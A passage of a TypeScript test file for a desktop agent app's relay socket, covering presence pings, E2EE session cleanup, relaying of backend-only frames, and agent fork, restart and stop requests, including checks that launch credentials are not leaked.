// A second connection while one is attached is the same app session: the desktop holds one per
// machine and redials on every reconnect, so it opens nothing new.
expect(socket.registerLocalClient('local:2', sink)).toBe(true)
expect(kinds(ws)).toEqual(['open', 'ping'])
// Registering the same window twice is refused, and says nothing.
expect(socket.registerLocalClient('local:2', sink)).toBe(false)
expect(kinds(ws)).toHaveLength(2)
// Every window gone: the tick falls silent.
await socket.unregisterLocalClient('local:1')
await socket.unregisterLocalClient('local:2')
vi.advanceTimersByTime(120_000)
expect(kinds(ws)).toHaveLength(2)
// A window that came and went while the link was down was never a session the backend can hear
// about — the next link is told nothing. Both remaining windows gone first, so the count is clean.
ws.close()
expect(socket.registerLocalClient('local:3', sink)).toBe(true)
await socket.unregisterLocalClient('local:3')
vi.advanceTimersByTime(60_000)
const ws2 = wsMock.instances[1]
ws2.open()
vi.advanceTimersByTime(15_000)
expect(kinds(ws2)).toEqual([])
// Bookkeeping about the person, for the backend alone: never fanned out to a client.
expect(parseSent(ws).find((m) => (m.frame as { type?: string } | undefined)?.type === 'app_presence'))
.toMatchObject({ t: 'up', webEligible: false, commanderEligible: false })
await socket.stop()
})
it('reports the TUI as its own surface, and a tool as no one', async () => {
vi.useFakeTimers()
const socket = relaySocket('token')
const sink = { sendFrame: () => true, sendBinary: () => true }
const presence = (ws: InstanceType<typeof wsMock.MockWebSocket>) => parseSent(ws)
.filter((m) => (m.frame as { type?: string } | undefined)?.type === 'app_presence')
.map((m) => (m.frame as { payload: Record<string, unknown> }).payload)
socket.connect()
const ws = wsMock.instances[0]
ws.open()
// A tool (`harness pair`, the MCP server) is not a person at a window: nothing, now or on the tick.
expect(socket.registerLocalClient('local:tool', sink, { tool: true })).toBe(true)
vi.advanceTimersByTime(60_000)
expect(presence(ws)).toEqual([])
// The TUI names its surface; the desktop app's frame stays exactly as it was.
expect(socket.registerLocalClient('local:tui', sink, { surface: 'tui' })).toBe(true)
expect(socket.registerLocalClient('local:app', sink)).toBe(true)
expect(presence(ws)).toEqual([{ kind: 'open', surface: 'tui' }, { kind: 'open' }])
// Each pings for itself while it stays — and only it, once the other has gone.
vi.advanceTimersByTime(60_000)
expect(presence(ws).slice(2)).toEqual([{ kind: 'ping' }, { kind: 'ping', surface: 'tui' }])
await socket.unregisterLocalClient('local:app')
vi.advanceTimersByTime(60_000)
expect(presence(ws).slice(4)).toEqual([{ kind: 'ping', surface: 'tui' }])
await socket.stop()
})
it('reports commander presence only when it crosses zero', async () => {
const socket = relaySocket('token')
const changes: boolean[] = []
socket.onCommanderPresenceChanged = (connected) => changes.push(connected)
socket.connect()
const ws = wsMock.instances[0]
ws.open()
const clients = (commander: number) => ws.message({
t: 'down', connId: '', frame: { type: '__clients', payload: { commander } },
})
clients(1)
clients(2)
clients(0)
clients(0)
clients(1)
await vi.waitFor(() => expect(changes).toEqual([true, false, true]))
await socket.stop()
expect(changes).toEqual([true, false, true, false])
})
// "The device is gone" reaches us two ways: the backend says so (`__clients` → 0), or our own link to
// the backend dies and we can no longer know. Both have to release the device's E2EE session — the
// dashboard's device dot reads `deviceE2eeConnected()`, so a session left behind reports a device that
// may have been gone for hours.
it('drops the device E2EE session when the count reaches zero', async () => {
const socket = relaySocket('token')
const drop = vi.spyOn(gatewayOf(socket).e2ee, 'dropSessionsByRole')
socket.connect()
const ws = wsMock.instances[0]
ws.open()
ws.message({ t: 'down', connId: '', frame: { type: '__clients', payload: { commander: 1 } } })
expect(drop).not.toHaveBeenCalled()
ws.message({ t: 'down', connId: '', frame: { type: '__clients', payload: { commander: 0 } } })
await vi.waitFor(() => expect(drop).toHaveBeenCalledWith('device'))
await socket.stop()
})
it('re-announces to an app that joins: once per web session, never for a device, and a failing replay costs only itself', async () => {
const socket = relaySocket('token')
const joined = vi.fn()
socket.fromGateway.client('r0', { role: 'web', label: null, identity: 'PUB', direct: false })
socket.onRemoteAppJoined = joined
socket.fromGateway.client('d1', { role: 'device', label: null, identity: 'DEV', direct: false })
expect(joined).not.toHaveBeenCalled()
socket.fromGateway.client('r1', { role: 'web', label: null, identity: 'PUB', direct: false })
// The same session said again (a label it was paired under, learned later) is not a second arrival.
socket.fromGateway.client('r1', { role: 'web', label: 'Phone', identity: 'PUB', direct: false })
expect(joined).toHaveBeenCalledTimes(1)
const warn = vi.spyOn(console, 'warn').mockImplementation(() => {})
socket.onRemoteAppJoined = () => { throw new Error('replay broke') }
socket.fromGateway.client('r2', { role: 'web', label: null, identity: 'PUB2', direct: false })
socket.onRemoteAppJoined = () => { throw 'not an error' }
socket.fromGateway.client('r3', { role: 'web', label: null, identity: 'PUB3', direct: false })
expect(warn.mock.calls.map(([line]) => line)).toEqual([
'[backend] re-announcing to a remote app failed: replay broke',
'[backend] re-announcing to a remote app failed: not an error',
])
expect(socket.remoteClient('r2')?.role).toBe('web')
expect(socket.remoteClient('r3')?.role).toBe('web')
warn.mockRestore()
await socket.stop()
})
it('sends a frame for the apps away from this desk to the relay alone: never a window here, nothing while serving this computer only', async () => {
const socket = relaySocket('token')
const broadcast = vi.spyOn(gatewayOf(socket), 'broadcast')
const frames: Record<string, unknown>[] = []
socket.registerLocalClient('local:window', { sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true })
const asked = { type: 'commander_question', agentId: 'a1', dbSessionId: 's1', payload: { requestId: 'q1', questions: [] } }
socket.sendRemote(asked)
expect(broadcast).toHaveBeenCalledExactlyOnceWith(asked, undefined)
expect(frames.filter((frame) => frame.type === 'commander_question')).toEqual([])
// Said in the frame log like any frame for the web audience, when it is on.
const log = vi.spyOn(console, 'log').mockImplementation(() => {})
const wasOn = env.LOG_FRAMES
env.LOG_FRAMES = true
try { socket.sendRemote(asked) } finally { env.LOG_FRAMES = wasOn }
expect(log.mock.calls.map(([line]) => line)).toContain('[frame] → web commander_question · requestId=q1')
log.mockRestore()
broadcast.mockClear()
socket.serveThisComputerOnly()
socket.sendRemote(asked)
expect(broadcast).not.toHaveBeenCalled()
await socket.unregisterLocalClient('local:window')
await socket.stop()
})
it('sends apps away from this desk a slim transcript event, and the windows here the whole one', async () => {
const socket = relaySocket('token')
const broadcast = vi.spyOn(gatewayOf(socket), 'broadcast')
const frames: Record<string, unknown>[] = []
socket.registerLocalClient('local:window', { sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true })
const ended = { type: 'tool_end', agentId: 'a1', dbSessionId: 's1', payload: { id: 'u1', tool: 'Bash', output: 'the whole output',
isError: false, summary: 'ok', agentId: 'a1', sessionId: 's1' } }
const whole = structuredClone(ended)
socket.send(ended)
expect(frames.filter((frame) => frame.type === 'tool_end')).toEqual([whole])
expect(broadcast).toHaveBeenCalledExactlyOnceWith({ ...ended, payload: { id: 'u1', tool: 'Bash', isError: false, agentId: 'a1', sessionId: 's1' } }, undefined)
await socket.unregisterLocalClient('local:window')
await socket.stop()
})
it('says whether an app away from this desk holds a session: a web one, never a device', async () => {
const socket = relaySocket('token')
expect(socket.hasRemoteApp()).toBe(false)
socket.fromGateway.client('d1', { role: 'device', label: null, identity: 'DEV', direct: false })
expect(socket.hasRemoteApp()).toBe(false)
socket.fromGateway.client('r1', { role: 'web', label: null, identity: 'PUB', direct: false })
expect(socket.hasRemoteApp()).toBe(true)
socket.fromGateway.client('r1', null)
expect(socket.hasRemoteApp()).toBe(false)
await socket.stop()
})
it('drops the device E2EE session when OUR backend link dies, not just when the backend says so', async () => {
vi.useFakeTimers()
const socket = relaySocket('token')
const drop = vi.spyOn(gatewayOf(socket).e2ee, 'dropSessionsByRole')
socket.connect()
const ws = wsMock.instances[0]
ws.open()
ws.message({ t: 'down', connId: '', frame: { type: '__clients', payload: { commander: 1 } } })
drop.mockClear()
ws.close() // transport gone — no `__clients` frame will ever tell us the device left
expect(socket.hasCommander()).toBe(false)
expect(drop).toHaveBeenCalledWith('device')
await socket.stop()
})
it('releases E2EE and terminal state for the exact disconnected web connId', async () => {
const socket = relaySocket('token')
const closeConnection = vi.fn(async () => undefined)
const stop = vi.fn(async () => undefined)
socket.setTerminalStreamManager({
closeConnection,
stop,
} as unknown as TerminalStreamManager)
const dropSession = vi.spyOn(gatewayOf(socket).e2ee, 'dropSession')
socket.connect()
const ws = wsMock.instances[0]
ws.open()
ws.message({
t: 'down',
connId: 'web-terminal-1',
frame: { type: '__client_disconnected', payload: {} },
})
await vi.waitFor(() => {
expect(dropSession).toHaveBeenCalledWith('web-terminal-1')
expect(closeConnection).toHaveBeenCalledWith(
'web-terminal-1',
'client connection closed',
false,
)
})
await socket.stop()
expect(stop).toHaveBeenCalledOnce()
})
})
describe('desk_changed relay', () => {
// Other suites can leave closed sockets in the shared mock inventory. A
// shuffled run must send to this test's connection, not an earlier one.
beforeEach(() => { wsMock.instances.length = 0 })
afterEach(() => {
wsMock.instances.length = 0
vi.restoreAllMocks()
})
it('hands the backend\'s desk_changed to the window, and only the backend\'s', async () => {
const socket = relaySocket('token')
const frames: Array<Record<string, unknown>> = []
socket.registerLocalClient('local:desk', { sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true })
socket.connect()
const ws = wsMock.instances[0]
ws.open()
ws.message({ t: 'down', connId: '', frame: { type: 'desk_changed', payload: { revision: 9 } } })
await vi.waitFor(() => expect(frames).toContainEqual({ type: 'desk_changed', payload: { revision: 9 } }))
// A local client saying it is not the backend: nothing is relayed.
socket.handleLocalFrame('local:desk', { type: 'desk_changed', payload: { revision: 99 } })
await new Promise((r) => setTimeout(r, 20))
expect(frames.filter((f) => f.type === 'desk_changed')).toHaveLength(1)
await socket.unregisterLocalClient('local:desk')
await socket.stop()
})
// WS roadmap Phase 2a: a Swarm the account is in changed (backend lib/swarmClientPushes.ts); the window reads it again.
it('hands the backend\'s swarm_changed to the window, only the backend\'s, and only an id, a time and its parts', async () => {
const socket = relaySocket('token')
const frames: Array<Record<string, unknown>> = []
socket.registerLocalClient('local:swarm', { sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true })
socket.connect()
const ws = wsMock.instances[0]
ws.open()
ws.message({ t: 'down', connId: '', frame: { type: 'swarm_changed', payload: { tabId: 'tab-1', lastChangedAt: 5, parts: ['main'], text: 'x' } } })
ws.message({ t: 'down', connId: '', frame: { type: 'swarm_changed', payload: {} } })
ws.message({ t: 'down', connId: '', frame: { type: 'swarm_changed', payload: { tabId: 'tab-2', lastChangedAt: 5, parts: ['all'] } } })
await vi.waitFor(() => expect(frames.filter((f) => f.type === 'swarm_changed')).toEqual([
{ type: 'swarm_changed', payload: { tabId: 'tab-1', lastChangedAt: 5, parts: ['main'] } },
{ type: 'swarm_changed', payload: {} }, { type: 'swarm_changed', payload: {} }]))
// A relayed client, or a local one, is not the backend: nothing is relayed.
ws.message({ t: 'down', connId: 'web-1', frame: { type: 'swarm_changed', payload: { tabId: 'tab-3', lastChangedAt: 1, parts: ['main'] } } })
socket.handleLocalFrame('local:swarm', { type: 'swarm_changed', payload: { tabId: 'tab-4', lastChangedAt: 1, parts: ['main'] } })
await new Promise((r) => setTimeout(r, 20))
expect(frames.filter((f) => f.type === 'swarm_changed')).toHaveLength(3)
await socket.unregisterLocalClient('local:swarm')
await socket.stop()
})
it('hands the backend\'s connectors_changed on, for the connectors service to merge, and only the backend\'s', async () => {
const socket = relaySocket('token')
const heard: unknown[] = []
socket.onAccountNotice = (notice) => { heard.push(notice) }
socket.registerLocalClient('local:vault', { sendFrame: () => true, sendBinary: () => true })
socket.connect()
const ws = wsMock.instances[0]
ws.open()
ws.message({ t: 'down', connId: '', frame: { type: 'connectors_changed', payload: { revision: 6 } } })
await vi.waitFor(() => expect(heard).toContainEqual({ type: 'connectors_changed', revision: 6 }))
// A client relayed with its own connId is not the backend.
ws.message({ t: 'down', connId: 'web-1', frame: { type: 'connectors_changed', payload: { revision: 99 } } })
socket.handleLocalFrame('local:vault', { type: 'connectors_changed', payload: { revision: 98 } })
await new Promise((r) => setTimeout(r, 20))
expect(heard).toHaveLength(1)
await socket.unregisterLocalClient('local:vault')
await socket.stop()
})
// WS roadmap Phase 2a: the server says over this socket when a commit changed what this machine's host reads
// (backend lib/swarmHostPushes.ts).
it('hands the backend\'s swarm_host_changed to the Swarm host, never to the windows, and only the backend\'s', async () => {
const socket = relaySocket('token')
const heard: unknown[] = []
const frames: Array<Record<string, unknown>> = []
socket.onAccountNotice = (notice) => { heard.push(notice) }
socket.registerLocalClient('local:swarm', { sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true })
socket.connect()
const ws = wsMock.instances[0]
ws.open()
ws.message({ t: 'down', connId: '', frame: { type: 'swarm_host_changed', payload: { tabId: 'tab-1', lastChangedAt: 1_700 } } })
// Naming no Swarm, or naming one wrongly, it only says the server pushes.
ws.message({ t: 'down', connId: '', frame: { type: 'swarm_host_changed', payload: { tabId: 'tab-1', lastChangedAt: 'soon' } } })
ws.message({ t: 'down', connId: '', frame: { type: 'swarm_host_changed', payload: {} } })
await vi.waitFor(() => expect(heard).toEqual([{ type: 'swarm_host_changed', tabId: 'tab-1', lastChangedAt: 1_700 },
{ type: 'swarm_host_changed' }, { type: 'swarm_host_changed' }]))
// A client relayed with its own connId, or a local one, is not the backend.
ws.message({ t: 'down', connId: 'web-1', frame: { type: 'swarm_host_changed', payload: { tabId: 'tab-2', lastChangedAt: 1 } } })
socket.handleLocalFrame('local:swarm', { type: 'swarm_host_changed', payload: { tabId: 'tab-3', lastChangedAt: 1 } })
await new Promise((r) => setTimeout(r, 20))
expect(heard).toHaveLength(3)
expect(frames.filter((f) => f.type === 'swarm_host_changed')).toEqual([])
await socket.unregisterLocalClient('local:swarm')
await socket.stop()
})
// Stability roadmap 2.4: the server says over this socket when work waits for an agent here (backend lib/adapterWs.ts).
it('hands the backend\'s super_tab_deliveries to the Swarm host, never to the windows, and only the backend\'s', async () => {
const socket = relaySocket('token')
const heard: unknown[] = []
const frames: Array<Record<string, unknown>> = []
socket.onAccountNotice = (notice) => { heard.push(notice) }
socket.registerLocalClient('local:swarm', { sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true })
socket.connect()
const ws = wsMock.instances[0]
ws.open()
ws.message({ t: 'down', connId: '', frame: { type: 'super_tab_deliveries', payload: { tabId: 'tab-1', agentId: 'agent-1' } } })
// Naming no agent, or naming one wrongly, it only says the server pushes.
ws.message({ t: 'down', connId: '', frame: { type: 'super_tab_deliveries', payload: { tabId: 'tab-1', agentId: 7 } } })
await vi.waitFor(() => expect(heard).toEqual([{ type: 'super_tab_deliveries', tabId: 'tab-1', agentId: 'agent-1' }, { type: 'super_tab_deliveries' }]))
// A client relayed with its own connId, or a local one, is not the backend.
ws.message({ t: 'down', connId: 'web-1', frame: { type: 'super_tab_deliveries', payload: { tabId: 'tab-1', agentId: 'agent-2' } } })
socket.handleLocalFrame('local:swarm', { type: 'super_tab_deliveries', payload: { tabId: 'tab-1', agentId: 'agent-3' } })
await new Promise((r) => setTimeout(r, 20))
expect(heard).toHaveLength(2)
expect(frames.filter((f) => f.type === 'super_tab_deliveries')).toEqual([])
await socket.unregisterLocalClient('local:swarm')
await socket.stop()
})
// Task #2800, review of #2977: the server renews the Swarm host's delivery push lease each minute.
it('hands the backend\'s __deliveries_lease to the Swarm host, never to the windows, and only the backend\'s', async () => {
const socket = relaySocket('token')
const heard: unknown[] = []
const frames: Array<Record<string, unknown>> = []
socket.onAccountNotice = (notice) => { heard.push(notice) }
socket.registerLocalClient('local:swarm', { sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true })
socket.connect()
const ws = wsMock.instances[0]
ws.open()
ws.message({ t: 'down', connId: '', frame: { type: '__deliveries_lease', payload: {} } })
await vi.waitFor(() => expect(heard).toEqual([{ type: '__deliveries_lease' }]))
ws.message({ t: 'down', connId: 'web-1', frame: { type: '__deliveries_lease', payload: {} } })
socket.handleLocalFrame('local:swarm', { type: '__deliveries_lease', payload: {} })
await new Promise((r) => setTimeout(r, 20))
expect(heard).toHaveLength(1)
expect(frames.filter((f) => f.type === '__deliveries_lease')).toEqual([])
await socket.unregisterLocalClient('local:swarm')
await socket.stop()
})
// Spec 2026-11-02-poll-cost Part 4.2: the server says a Lead's terminal request waits for this machine.
it('hands the backend\'s __terminal_waiting to the Swarm host, never to the windows, and only the backend\'s', async () => {
const socket = relaySocket('token')
const heard: unknown[] = []
const frames: Array<Record<string, unknown>> = []
socket.onAccountNotice = (notice) => { heard.push(notice) }
socket.registerLocalClient('local:swarm', { sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true })
socket.connect()
const ws = wsMock.instances[0]
ws.open()
ws.message({ t: 'down', connId: '', frame: { type: '__terminal_waiting', payload: { tabId: 'tab-1', agentId: 'agent-1' } } })
// One that names no agent is no request.
ws.message({ t: 'down', connId: '', frame: { type: '__terminal_waiting', payload: { tabId: 'tab-1' } } })
await vi.waitFor(() => expect(heard).toEqual([{ type: '__terminal_waiting', tabId: 'tab-1', agentId: 'agent-1' }]))
// A client relayed with its own connId, or a local one, is not the backend.
ws.message({ t: 'down', connId: 'web-1', frame: { type: '__terminal_waiting', payload: { tabId: 'tab-1', agentId: 'agent-2' } } })
socket.handleLocalFrame('local:swarm', { type: '__terminal_waiting', payload: { tabId: 'tab-1', agentId: 'agent-3' } })
await new Promise((r) => setTimeout(r, 20))
expect(heard).toHaveLength(1)
expect(frames.filter((f) => f.type === '__terminal_waiting')).toEqual([])
await socket.unregisterLocalClient('local:swarm')
await socket.stop()
})
it('hands the backend\'s zoo_changed to the window as its own frame, and only the backend\'s', async () => {
const socket = relaySocket('token')
const frames: Array<Record<string, unknown>> = []
socket.registerLocalClient('local:zoo', { sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true })
socket.connect()
const ws = wsMock.instances[0]
ws.open()
ws.message({ t: 'down', connId: '', frame: { type: 'zoo_changed', payload: { revision: 4 } } })
await vi.waitFor(() => expect(frames).toContainEqual({ type: 'zoo_changed', payload: { revision: 4 } }))
expect(frames.some((f) => f.type === 'desk_changed')).toBe(false)
// A local client, or a client relayed with its own connId, is not the backend: nothing is relayed.
socket.handleLocalFrame('local:zoo', { type: 'zoo_changed', payload: { revision: 99 } })
ws.message({ t: 'down', connId: 'web-1', frame: { type: 'zoo_changed', payload: { revision: 98 } } })
await new Promise((r) => setTimeout(r, 20))
expect(frames.filter((f) => f.type === 'zoo_changed')).toEqual([{ type: 'zoo_changed', payload: { revision: 4 } }])
await socket.unregisterLocalClient('local:zoo')
await socket.stop()
})
})
describe('agent_fork RPC', () => {
afterEach(() => {
wsMock.instances.length = 0
vi.restoreAllMocks()
})
const FORK: RegisteredSession = {
schemaVersion: 2, active: true, agentId: 'agent-2', sessionId: '', boundAt: null, engine: 'claude',
forkedFrom: { agentId: 'agent-1', name: 'Agent one' },
transcriptPath: null, projectDir: 'workspace', cwd: '/tmp/workspace', runtimes: [], primaryRuntimeKey: '',
tmuxPane: '%2', source: null, title: null, model: null, cliVersion: null, processIdentity: null,
registeredAt: 2, touchedAt: 2, lastHookAt: 2, lastTranscriptAt: 2,
}
function localSocket(): { socket: BackendSocket; frames: Array<Record<string, unknown>> } {
const socket = relaySocket('token')
bindLaunchRequests(socket)
const frames: Array<Record<string, unknown>> = []
socket.registerLocalClient('local:fork', { sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true })
return { socket, frames }
}
it('recovers a fork receipt with its handoff level without creating another agent', async () => {
const { socket, frames } = localSocket()
const lookup = vi.spyOn(registry, 'byAgent').mockReturnValue(FORK)
let finish!: () => void
const fork = vi.fn(() => new Promise<{ ok: true; session: RegisteredSession; level: 'handoff' }>((resolve) => {
finish = () => resolve({ ok: true, session: FORK, level: 'handoff' })
}))
socket.onForkAgent = fork
const creationId = randomUUID()
const ask = (type: string, requestId: string, name = 'Separate idea') => socket.handleLocalFrame('local:fork', {
type, payload: { requestId, creationId, agentId: 'agent-1', name, prompt: ' preserve\n indentation ' },
})
try {
ask('agent_fork', 'first')
await vi.waitFor(() => expect(fork).toHaveBeenCalledTimes(1))
ask('agent_create_status', 'pending')
await vi.waitFor(() => expect(frames).toContainEqual({
type: 'agent_create_status_result', payload: { requestId: 'pending', creationId, state: 'pending' },
}))
ask('agent_fork', 'retry')
finish()
for (const requestId of ['first', 'retry']) {
await vi.waitFor(() => expect(frames).toContainEqual(expect.objectContaining({
type: 'agent_fork_result', payload: expect.objectContaining({ requestId, creationId, state: 'created', level: 'handoff', agent: expect.objectContaining({ id: FORK.agentId }) }),
})))
}
expect(fork).toHaveBeenCalledWith({ agentId: 'agent-1', name: 'Separate idea', prompt: ' preserve\n indentation ' })
ask('agent_create_status', 'recovered')
await vi.waitFor(() => expect(frames).toContainEqual(expect.objectContaining({
type: 'agent_create_status_result', payload: expect.objectContaining({ requestId: 'recovered', state: 'created', level: 'handoff' }),
})))
ask('agent_fork', 'changed', 'Different intent')
await vi.waitFor(() => expect(frames).toContainEqual({
type: 'agent_fork_result', payload: { requestId: 'changed', error: 'CREATION_CONFLICT' },
}))
lookup.mockReturnValue(undefined)
ask('agent_fork', 'deleted')
await vi.waitFor(() => expect(frames).toContainEqual({
type: 'agent_fork_result', payload: { requestId: 'deleted', creationId, state: 'unavailable', createdAgentId: FORK.agentId },
}))
expect(fork).toHaveBeenCalledTimes(1)
} finally {
finish?.()
await socket.unregisterLocalClient('local:fork')
await socket.stop()
}
})
it.each(['SPAWN_FAILED', 'REGISTRATION_FAILED', 'AGENT_BUSY'])('retains the fork outcome for %s', async (error) => {
const { socket, frames } = localSocket()
const fork = vi.fn(async () => ({ ok: false as const, error, detail: 'Fixture refusal' }))
socket.onForkAgent = fork
const creationId = randomUUID()
const state = error === 'AGENT_BUSY' ? 'failed' : 'unconfirmed'
try {
for (const requestId of ['first', 'retry']) {
socket.handleLocalFrame('local:fork', { type: 'agent_fork', payload: { requestId, creationId, agentId: 'agent-1' } })
await vi.waitFor(() => expect(frames).toContainEqual({
type: 'agent_fork_result', payload: { requestId, creationId, state,
...(state === 'failed' ? { failure: { code: error, detail: 'Fixture refusal' } } : {}) },
}))
}
expect(fork).toHaveBeenCalledTimes(1)
} finally {
await socket.unregisterLocalClient('local:fork')
await socket.stop()
}
})
it('validates the frame before touching the daemon', async () => {
const { socket, frames } = localSocket()
socket.handleLocalFrame('local:fork', { type: 'agent_fork', payload: { requestId: 'r1' } })
await vi.waitFor(() => expect(frames).toContainEqual({ type: 'agent_fork_result', payload: { requestId: 'r1', error: 'MISSING_AGENT_ID' } }))
socket.handleLocalFrame('local:fork', { type: 'agent_fork', payload: { requestId: 'r2', agentId: 'agent-1' } })
await vi.waitFor(() => expect(frames).toContainEqual({ type: 'agent_fork_result', payload: { requestId: 'r2', error: 'UNSUPPORTED_ON_REMOTE' } }))
socket.onForkAgent = async () => ({ ok: true, session: FORK, level: 'native' })
socket.handleLocalFrame('local:fork', { type: 'agent_fork', payload: { requestId: 'r3', agentId: 'agent-1', prompt: 'x'.repeat(2001) } })
await vi.waitFor(() => expect(frames).toContainEqual({ type: 'agent_fork_result', payload: { requestId: 'r3', error: 'PROMPT_TOO_LONG' } }))
await socket.unregisterLocalClient('local:fork')
await socket.stop()
})
it('hands name and prompt to the daemon and answers with the fork, its level, and who it came from', async () => {
const { socket, frames } = localSocket()
const seen: unknown[] = []
socket.onForkAgent = async (input) => { seen.push(input); return { ok: true, session: FORK, level: 'native' } }
socket.handleLocalFrame('local:fork', { type: 'agent_fork', payload: { requestId: 'r1', agentId: 'agent-1', name: ' Agent one - fork ', prompt: 'ship it' } })
await vi.waitFor(() => {
const result = frames.find((f) => f.type === 'agent_fork_result')
expect(result).toMatchObject({
payload: { requestId: 'r1', level: 'native', agent: expect.objectContaining({ id: 'agent-2', forkedFrom: { agentId: 'agent-1', name: 'Agent one' } }) },
})
})
expect(seen).toEqual([{ agentId: 'agent-1', name: 'Agent one - fork', prompt: 'ship it' }])
await socket.unregisterLocalClient('local:fork')
await socket.stop()
})
it('relays the daemon\'s refusal with its reason', async () => {
const { socket, frames } = localSocket()
socket.onForkAgent = async () => ({ ok: false, error: 'AGENT_BUSY', detail: 'Wait for it to finish, then fork.' })
socket.handleLocalFrame('local:fork', { type: 'agent_fork', payload: { requestId: 'r1', agentId: 'agent-1' } })
await vi.waitFor(() => expect(frames).toContainEqual({
type: 'agent_fork_result', payload: { requestId: 'r1', error: 'AGENT_BUSY', detail: 'Wait for it to finish, then fork.' },
}))
await socket.unregisterLocalClient('local:fork')
await socket.stop()
})
})
describe('agent_restart RPC', () => {
afterEach(() => {
wsMock.instances.length = 0
vi.restoreAllMocks()
})
const BASE_SESSION: RegisteredSession = {
schemaVersion: 2,
active: true,
agentId: 'agent-1',
sessionId: 'session-1',
boundAt: 1,
engine: 'claude',
transcriptPath: null,
projectDir: 'workspace',
cwd: '/tmp/workspace',
runtimes: [],
primaryRuntimeKey: '',
tmuxPane: '%1',
source: null,
title: 'Agent one',
model: null,
cliVersion: null,
processIdentity: null,
registeredAt: 1,
touchedAt: 1,
lastHookAt: 1,
lastTranscriptAt: 1,
}
function localSocket(): { socket: BackendSocket; frames: Array<Record<string, unknown>> } {
const socket = relaySocket('token')
bindLaunchRequests(socket)
bindAgentList(socket)
const frames: Array<Record<string, unknown>> = []
socket.registerLocalClient('local:restart', {
sendFrame: (frame) => { frames.push(frame); return true },
sendBinary: () => true,
})
return { socket, frames }
}
it('lists stopped work only on request, without exposing old routes or launch credentials', async () => {
const { socket, frames } = localSocket()
const saved = { ...BASE_SESSION, gridLaunch: { apiKey: 'fixture-private-key' } } as RegisteredSession
vi.spyOn(registry, 'advertised').mockReturnValue([])
vi.spyOn(registry, 'list').mockReturnValue([])
vi.spyOn(stoppedAgents, 'available').mockReturnValue([saved])
socket.handleLocalFrame('local:restart', { type: 'agents_list', payload: { requestId: 'live' } })
socket.handleLocalFrame('local:restart', { type: 'agents_list', payload: { requestId: 'all', includeStopped: true } })
await vi.waitFor(() => expect(frames.filter(frame => frame.type === 'agents_list_result')).toHaveLength(2))
const response = (id: string) => frames.find(frame => (frame.payload as any).requestId === id)?.payload as any
expect(response('live').agents).toEqual([])
expect(response('all').agents).toEqual([expect.objectContaining({ id: 'agent-1', status: 'stopped', sessionId: 'session-1', terminal: { available: false, primary: '', runtimes: [] }, tmuxPane: null, forkable: false })])
expect(JSON.stringify(response('all'))).not.toContain('fixture-private-key')
await socket.unregisterLocalClient('local:restart')
await socket.stop()
})
it('adds monitor activity and readings only when explicitly requested', async () => {
const { socket, frames } = localSocket()
vi.spyOn(registry, 'advertised').mockReturnValue([BASE_SESSION])
vi.spyOn(registry, 'list').mockReturnValue([BASE_SESSION])
vi.spyOn(stoppedAgents, 'available').mockReturnValue([{ ...BASE_SESSION, agentId: 'stopped' }])
const resources = vi.fn(async () => ({ sampledAt: new Date().toISOString(), agents: [{ agentId: 'agent-1', memoryBytes: 123, cpuPercent: 2, processCount: 1 }] }))
bindAgentList(socket, { harnessResourcesReader: resources, monitorActivityProvider: sessionId => sessionId === BASE_SESSION.sessionId ? 'needsInput' : 'idle' })
for (const [requestId, monitor] of [['plain', false], ['monitor', true]] as const) {
socket.handleLocalFrame('local:restart', { type: 'agents_list', payload: { requestId, monitor, includeStopped: true } })
}
await vi.waitFor(() => expect(frames.filter(f => f.type === 'agents_list_result')).toHaveLength(2))
const response = (id: string) => (frames.find(frame => (frame.payload as any).requestId === id)?.payload as any).agents
expect(response('plain').every((agent: any) => agent.monitor === undefined)).toBe(true)
expect(response('monitor').find((a: any) => a.id === 'agent-1').monitor).toMatchObject({ activity: 'needsInput', activityKnown: true, rssBytes: 123, cpu: 2, pid: BASE_SESSION.processIdentity?.pid ?? null })
expect(response('monitor').find((a: any) => a.id === 'stopped').monitor).toMatchObject({ rssBytes: 0, cpu: 0, pid: null })
expect(resources).toHaveBeenCalledOnce()
await socket.unregisterLocalClient('local:restart'); await socket.stop()
})
it('rejects a stop when the reviewed conversation rotated before the command arrived', async () => {
const { socket, frames } = localSocket()
const stop = vi.fn(async () => {})
bindStopRequest(socket, stop)
vi.spyOn(registry, 'byAgent').mockReturnValue({ ...BASE_SESSION, sessionId: 'replacement' })
socket.handleLocalFrame('local:restart', { type: 'agent_delete', payload: {
requestId: 'stale-stop', agentId: BASE_SESSION.agentId, expectedSessionId: BASE_SESSION.sessionId,
} })
await vi.waitFor(() => expect(frames).toContainEqual({ type: 'agent_delete_result', payload: {
requestId: 'stale-stop', error: 'SESSION_CHANGED', detail: 'This conversation changed. Refresh and review it before stopping.',
} }))
expect(stop).not.toHaveBeenCalled()
await socket.unregisterLocalClient('local:restart'); await socket.stop()
})
it.each([false, true])('counts which check refused a resume\'s preparation (receipt: %s)', async withReceipt => {
const { socket } = localSocket()
const counted: string[] = []
vi.spyOn(gatewayOf(socket), 'usageCounter').mockImplementation(metric => { counted.push(metric) })
bindLaunchRequests(socket, { resume: vi.fn(async () => ({ ok: false as const, error: 'RESUME_PREPARATION_FAILED', reason: 'changed_during', detail: 'PRIVATE' })) })
socket.handleLocalFrame('local:restart', { type: 'agent_resume', payload: { requestId: 'prepare', agentId: 'agent-1',
...(withReceipt ? { creationId: `resume-${randomUUID()}` } : {}) } })
await vi.waitFor(() => expect(counted).toContain('request_app_resume_preparation_changed_during'))
expect(counted).toContain('request_app_resume_reason_preparation_failed')
expect(JSON.stringify(counted)).not.toContain('PRIVATE')
await socket.unregisterLocalClient('local:restart'); await socket.stop()
})
it('delegates a resume-only intent and retains its original receipt', async () => {
const { socket, frames } = localSocket()
const creationId = `resume-${randomUUID()}`
const handler = vi.fn(async () => ({ ok: true as const, session: BASE_SESSION, resumed: true }))
bindLaunchRequests(socket, { resume: handler })
vi.spyOn(registry, 'byAgent').mockReturnValue(BASE_SESSION)
for (const requestId of ['first', 'again']) {
